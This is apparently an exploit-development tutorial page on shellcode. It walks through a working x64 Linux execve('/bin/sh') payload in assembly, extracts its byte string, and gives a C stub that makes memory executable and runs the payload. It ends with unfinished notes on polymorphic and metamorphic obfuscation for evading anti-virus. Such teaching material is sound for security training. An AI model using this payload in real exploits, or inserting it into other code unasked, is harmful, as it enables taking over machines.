๐Ÿ“ŸShellcode

What's a shellcode ?

A shellcode is a string of characters representing an executable binary code capable of launching any application on the machine. In most cases, a shellcode opens a shell to gain full access to the machine. Generally, shellcodes are injected into the machine's memory by exploiting a stack buffer overflow, use after free, heap buffer overflow vulnerabilities. A shellcode basically creates a shell which allows it to execute any code the attacker wants.

Basic shellcode.

Before starting anything, here's some useful informations. A shellcode is generally written in assembly. That's mean you have to write different shellcodes according to the target's operating system (Linux, OSX, BSD, Windows...) and processor architecture (x86, x64, arm...). You can find pre-maked shellcodes at shell storm.

Here, we are going to make shellcode for x64 linux systems.

bits 64
section .text
global _start

_start:
  ; execve("/bin/sh", NULL, NULL)

  xor rsi, rsi
  push rsi
  pop rdx

  push rsi
  mov rdi, 0x68732f2f6e69622f ; Move /bin//sh into rdi in reverse order
  push rdi
  mov rdi, rsp

  push 0x3b ; Push syscall number 59 (execve) onto the stack
  pop rax ; SYS_execve
  syscall ; Trigger syscall with rax=59, rdi=/bin//sh, rsi=NULL, rdx=NULL

This code executes the execve system call to run /bin/sh with NULL arguments and environment. It zeroes out rsi and rdx (setting argv and envp to NULL), sets rdi to point to the string /bin//sh, places the execve syscall number (59) in rax, and invokes the syscall.

We can "compile" this code using the following command.

nasm -f elf64 -o shell.o <the_shellcode_file> ; ld -o shell shell.o
  1. nasm -f elf64 -o shell.o <the_shellcode_file>: Uses NASM to assemble the shellcode source file into a 64-bit ELF object file named shell.o.

  2. ld -o shell shell.o: Uses the linker to create an executable named shell from the shell.o object file.

This command sequence compiles and links your assembly shellcode into an executable binary that can be run on a 64-bit Linux system.

Finally, you can use the binutils to get the string of characters representing an executable binary code.

~$ objdump -d shell

shell:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
  401000:       48 31 f6                xor    %rsi,%rsi
  401003:       56                      push   %rsi
  401004:       5a                      pop    %rdx
  401005:       56                      push   %rsi
  401006:       48 bf 2f 62 69 6e 2f    movabs $0x68732f2f6e69622f,%rdi
  40100d:       2f 73 68 
  401010:       57                      push   %rdi
  401011:       48 89 e7                mov    %rsp,%rdi
  401014:       6a 3b                   push   $0x3b
  401016:       58                      pop    %rax
  401017:       0f 05                   syscall
~$ objdump -d shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

"\x48\x31\xf6\x56\x5a\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\x6a\x3b\x58\x0f\x05"

You can try your shellcode with the following script. This code is used to provide a C template to paste shellcode into and be able to run it live from within an ELF binary's char buffer. This allows you to create a buffer with the shellcode globally and this program will mark it as RWX using mprotect() and then finally jump into. This code is made by Travis Phillips.

#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>

char payload[] = "\x48\x31\xf6\x56\x5a\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\x6a\x3b\x58\x0f\x05";

int main() {
  puts("\n\t\033[33;1m---===[ Shellcode Tester Stub v1.0 ]===---\033[0m\n");  
  printf(" [\033[34;1m*\033[0m] Shellcode Size:  %d\n", sizeof(payload)-1);

  // Create a function pointer to the shellcode and display it to the user.
  void (*payload_ptr)() =  (void(*)())&payload;
  printf(" [\033[34;1m*\033[0m] Shellcode Address: 0x%08x\n", payload_ptr);

  // Calculate the address to the start of the page for the shellcode.
  void *page_offset = (void *)((int)payload_ptr & ~(getpagesize()-1));
  printf(" [\033[34;1m*\033[0m] Shellcode page: 0x%08x\n", page_offset);

  // Use mprotect to mark that page as RWX.
  mprotect(page_offset, getpagesize(), PROT_READ|PROT_WRITE|PROT_EXEC);

  // Finally, use our function pointer to jump into our payload.
  puts("\n\033[33;1m---------[ Begin Shellcode Execution ]---------\033[0m");
  payload_ptr();

  // We likely won't get here, but might as well include it just in case.
  puts("\033[33;1m---------[  End Shellcode Execution  ]---------\033[0m");
  return 0;
}

Compile it like this.

~$ gcc -m32 x86_shellcode_tester.c -o x86_shellcode_tester

Polymorphic shellcode

Polymorphic shellcode changes its appearance every time it is generated, but the core functionality of the code remains the same. This is achieved through techniques such as:

  1. Encryption: The shellcode is encrypted using various encryption algorithms, and a decryption routine is included that decrypts the shellcode at runtime.

  2. Variable Substitution: Changing variable names, register usage, and using different instructions that achieve the same result.

  3. Instruction Substitution: Replacing instructions with equivalent instructions or instruction sequences (e.g., replacing a MOV instruction with a combination of PUSH and POP).

The key characteristic of polymorphic shellcode is that while the code looks different each time it is generated, it performs the same operations when executed.

The rest is coming soon...


Metamorphic shellcode

Metamorphic shellcode takes the obfuscation process a step further by not only changing the appearance of the code but also altering its internal structure and logic. This involves:

  1. Code Reordering: Changing the order of instructions or code blocks in a way that doesn't affect the overall functionality.

  2. Code Insertion: Adding junk or no-op instructions that do not affect the program's logic.

  3. Control Flow Modification: Altering the control flow by using techniques like changing loops, reordering branches, and adding conditional statements that always evaluate to true.

The metamorphic approach modifies the actual code structure, making it more difficult to detect patterns that anti-virus software might rely on. As a result, the generated shellcode can look drastically different in terms of both appearance and structure, even though it ultimately performs the same task.

The rest is coming soon...


I would like to thank:

Bluej0k3r
OxyDe
Skriix

Last updated